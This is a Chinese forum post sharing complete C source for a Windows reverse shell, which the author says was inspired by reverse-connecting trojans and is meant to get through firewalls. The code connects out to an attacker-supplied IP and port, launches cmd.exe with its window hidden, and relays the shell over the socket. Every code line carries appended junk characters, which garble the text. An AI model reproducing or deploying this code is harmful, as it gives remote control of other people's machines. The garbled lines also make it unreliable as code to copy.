社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4173阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Eemk2>iP?  
qlg?'l$03)  
/* ============================== oLc  
Rebound port in Windows NT v"V?  
By wind,2006/7 p K hV<MFB  
===============================*/ 9;L50q>s  
#include ~PA6e+gmL  
#include %0lJ(hm  
yL"pzD`[H  
#pragma comment(lib,"wsock32.lib") 9V?:!%J  
JU!vVA_  
void OutputShell(); r!)jxIL\  
SOCKET sClient; V~4yS4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *GC9o/  
WoD Qg64  
void main(int argc,char **argv) ^ Iy'<J  
{ E-b3#\^:  
WSADATA stWsaData; QvDD   
int nRet; 4^{~MgQWK+  
SOCKADDR_IN stSaiClient,stSaiServer; GcHZ&m4  
b\^9::oY  
if(argc != 3) 2@?\"kR"!  
{ U,tWLX$@  
printf("Useage:\n\rRebound DestIP DestPort\n"); vx4Jk]h+=L  
return; :M\3.7q  
} I7HP~v~  
jB0ED0)wX  
WSAStartup(MAKEWORD(2,2),&stWsaData); t4FaU7  
A>Xt 5vk+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >OW>^%\!1  
.WpvDDUK3  
stSaiClient.sin_family = AF_INET; l>?k>NEpP  
stSaiClient.sin_port = htons(0); 4qg] oiT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #2Z\K>L  
5 u^;71  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $|H7fn(r  
{ L<O"36R  
printf("Bind Socket Failed!\n"); V38v2LI  
return; KO&oT#S  
} ]V.0%Ccw;.  
DS>qth  
stSaiServer.sin_family = AF_INET; X Frgnnt  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ">'`{mXew  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |s{[<;  
=(]||1 .  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %z5P%F'5   
{ PXDwTuyc  
printf("Connect Error!"); Bw*6X` 'Q  
return; /]hE?cmj  
} lArDOFl]x  
OutputShell(); YY9Ub  
} ;eiqzdP  
I;3Uzv  
void OutputShell() [LrA_N  
{ G&v. cF#Y'  
char szBuff[1024]; &dvL`  
SECURITY_ATTRIBUTES stSecurityAttributes; K0z@gWGE  
OSVERSIONINFO stOsversionInfo; mFeoeI,Jv  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P'p5-l UK  
STARTUPINFO stStartupInfo; #hP&;HZ2>"  
char *szShell; _%6Vcy  
PROCESS_INFORMATION stProcessInformation; &+-]!^2o  
unsigned long lBytesRead; @DK;i_i  
Ilv _.  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >TQnCG =  
&Ez]pKjB  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D$PR<>=y  
stSecurityAttributes.lpSecurityDescriptor = 0; 8VLD yX2-  
stSecurityAttributes.bInheritHandle = TRUE; .80L>0  
(d$ksf_[%f  
g9oY K  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Yn1CU  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fc.1)yh.  
:}}~ $$&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~@N0$S  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sN9 SuQ  
stStartupInfo.wShowWindow = SW_HIDE; .qG*$W2f  
stStartupInfo.hStdInput = hReadPipe; /{+77{# Qn  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nN[gAM (  
.m \y6  
GetVersionEx(&stOsversionInfo); ;'xd8Jf  
X/-u$c  
switch(stOsversionInfo.dwPlatformId) v %GcNjZk5  
{ /8tF7Mmr  
case 1: A3c&VT6Q  
szShell = "command.com"; 6<+8[o  
break; kr6^6I.  
default: H_+F~P5RC  
szShell = "cmd.exe"; 84UI)nE:Q  
break; a~"<lzu|$  
} P1Chmg  
SVc5mS|up  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {ehAF=C  
TWk1`1|  
send(sClient,szMsg,77,0); kG70j{gf  
while(1) @N,I}_9-  
{ \`$RY')9|!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~lB:xVzn  
if(lBytesRead) R6/vhze4L2  
{ of>"qrdZ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RmcQGQ  
send(sClient,szBuff,lBytesRead,0); ';OZP2  
} E#A}J:  
else L fx$M  
{ |"XxM(Dm  
lBytesRead=recv(sClient,szBuff,1024,0); )Y:9sd8g7  
if(lBytesRead<=0) break; *>f-UNV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Nw=mSW^E  
} 2E d  
} X__>r ?oJ  
6pi^rpo  
return; 0'O*Y ]h+  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五